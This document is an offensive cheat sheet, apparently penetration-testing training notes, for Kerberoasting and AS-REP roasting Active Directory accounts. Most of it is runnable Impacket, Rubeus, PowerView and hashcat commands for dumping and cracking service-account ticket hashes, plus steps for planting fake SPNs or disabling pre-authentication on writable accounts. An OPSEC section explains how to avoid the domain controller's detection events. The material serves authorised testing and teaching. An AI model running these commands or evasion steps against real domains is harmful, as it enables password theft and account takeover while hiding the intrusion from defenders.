Two offline cracking attacks that abuse Kerberos primitives. Both start as any domain user (Kerberoast) or as an unauthenticated attacker (AS-REP Roast) and end in a hash that hashcat or john grinds through offline — no traffic to the DC during cracking, no account lockout risk.

Core idea

Kerberos encrypts parts of its tickets with the target account’s long-term key (derived from its password). Get the ticket, crack the ticket, recover the password. Weak service account passwords are the sin being punished.

Hashcat Modes

13100   Kerberoast TGS-REP      (RC4-HMAC)
19700   Kerberoast TGS-REP      (AES256-CTS-HMAC-SHA1-96)
18200   AS-REP Roast ($krb5asrep$23$...)

Default when you don’t specify: tools request RC4 because it cracks ~10x faster than AES. On Server 2019+ or when msDS-SupportedEncryptionTypes locks it down, you’re stuck with AES — crack rate drops but the attack still works.


Kerberoasting

Prerequisites

  • Any valid domain credential (password, NT hash, or ticket).
  • Target users have a servicePrincipalName attribute set.

Enumerate SPN users

Linux / Impacket:

GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend

Windows / PowerView:

Get-DomainUser -SPN | select samaccountname,serviceprincipalname

Windows / built-in:

setspn.exe -T INLANEFREIGHT.LOCAL -Q */*

Rubeus stats — triage before roasting (shows enc types + password-last-set per account; stale passwords = soft targets):

.\Rubeus.exe kerberoast /stats

Request and dump hashes

Impacket (one-shot — request + dump all):

GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request -outputfile spns.hash
# Targeted single account:
GetUserSPNs.py INLANEFREIGHT.LOCAL/forend -request-user sqldev

With hash instead of password:

GetUserSPNs.py -dc-ip 172.16.5.5 -hashes :<NT_HASH> INLANEFREIGHT.LOCAL/forend -request

Rubeus (Windows, in-memory, no disk):

# Everything roastable, hashcat-ready, no line-wrapping
.\Rubeus.exe kerberoast /nowrap /outfile:hashes.txt
 
# High-value only (admincount=1)
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap
 
# Single user
.\Rubeus.exe kerberoast /user:sqldev /nowrap
 
# When current session isn't domain-joined — abuse tgtdeleg for a TGT
.\Rubeus.exe kerberoast /tgtdeleg /user:sqldev /nowrap

PowerView (Windows):

Get-DomainUser -SPN | Get-DomainSPNTicket -Format Hashcat | `
  Export-Csv .\tgs.csv -NoTypeInformation

Crack

hashcat -m 13100 spns.hash /usr/share/wordlists/rockyou.txt -r rules/OneRuleToRuleThemAll.rule
hashcat -m 19700 spns.hash wordlist.txt            # AES tickets
john --format=krb5tgs --wordlist=rockyou.txt spns.hash

AES vs RC4

If msDS-SupportedEncryptionTypes only lists AES types, Rubeus/Impacket will return AES tickets — use -m 19700. On older DCs (⇐ 2016) you can sometimes force RC4 with GetUserSPNs.py -request-user X (Impacket requests RC4 by default). Check first:

Get-DomainUser testspn -Properties samaccountname,serviceprincipalname,msds-supportedencryptiontypes

Targeted Kerberoasting (write-your-own SPN)

If you have GenericAll, GenericWrite, or WriteProperty on servicePrincipalName over a user object, set an SPN yourself, roast, then clean up. Works against users who normally wouldn’t be roastable.

# PowerView — write a fake SPN onto adunn
Set-DomainObject -Credential $Cred -Identity adunn `
  -SET @{serviceprincipalname='notahacker/LEGIT'} -Verbose
 
# Roast
.\Rubeus.exe kerberoast /user:adunn /nowrap
 
# CLEAN UP — don't leave the SPN behind
Set-DomainObject -Credential $Cred -Identity adunn `
  -Clear serviceprincipalname -Verbose

Impacket’s targetedKerberoast.py (from ShutdownRepo/targetedKerberoast) will enumerate writable users and do the write+roast+cleanup loop in one command.


AS-REP Roasting

Prerequisite

Target user has DONT_REQ_PREAUTH set on its UAC (i.e. “Do not require Kerberos pre-authentication”). Then anyone — no credentials required — can request an AS-REP and get a hash encrypted with the user’s key.

Find vulnerable users

# PowerView
Get-DomainUser -PreauthNotRequired | select samaccountname,useraccountcontrol
# Impacket — pure unauth, just needs a user list
GetNPUsers.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/ -usersfile users.txt -no-pass -format hashcat -outputfile asrep.hash

Already authenticated? Same tool, auth’d, enumerates + requests in one shot:

GetNPUsers.py INLANEFREIGHT.LOCAL/forend -request -format hashcat -outputfile asrep.hash

Rubeus (Windows):

.\Rubeus.exe asreproast /format:hashcat /nowrap /outfile:asrep.hash

Crack

hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt -r rules/best64.rule

Flipping the bit yourself

With GenericWrite/GenericAll on a user, you can set DONT_REQ_PREAUTH and then AS-REP roast them — mirror of targeted Kerberoasting:

Set-DomainObject -Identity target -XOR @{useraccountcontrol=4194304} -Verbose
# Roast, then XOR it back.

Cracking Strategy

  • Start small, go big: rockyou → rockyou-30000.rule → OneRuleToRuleThemAll → crackstation.txt.
  • Target language/locale: many service accounts use company name + year (InlaneFreight2023!). Build a custom wordlist with cewl against the corporate site, then mutate with rules.
  • Masks for policy-compliant guesses: ?u?l?l?l?l?l?l?d?d?s for Capital+6lower+2digits+symbol.
  • Reuse credentials across the engagement: every cracked password goes into the engagement wordlist for the next round.

OPSEC

Detection surface

  • Every TGS request generates Event 4769 on the DC. Automated roasts fire bursts of 4769s from one principal — trivial to alert on.
  • Requesting RC4 when the account supports AES is a strong IOC (MDI alerts on this specifically).
  • Writing SPNs or flipping DONT_REQ_PREAUTH triggers Event 5136 (directory service change).

Mitigations:

  • Request one ticket at a time with /user: instead of bulk roasting.
  • Prefer AES tickets when the account supports it.
  • Clean up SPN writes / UAC flips immediately after dumping the hash.
  • Use /nowrap + stdout → clipboard or in-memory variable instead of writing .kirbi/.hash files to disk.

Checklist

  • Enumerated SPN-enabled users (Get-DomainUser -SPN / GetUserSPNs.py).
  • Reviewed pwdlastset and msDS-SupportedEncryptionTypes via Rubeus kerberoast /stats.
  • Requested TGS hashes (Rubeus kerberoast /nowrap or GetUserSPNs.py -request).
  • Enumerated DONT_REQ_PREAUTH accounts → AS-REP roasted with GetNPUsers.py / Rubeus asreproast.
  • Checked for GenericWrite/GenericAll on users → targeted Kerberoast / forced AS-REP.
  • Cracked offline with correct mode (13100 / 19700 / 18200).
  • Cleaned up any written SPNs or UAC flag changes.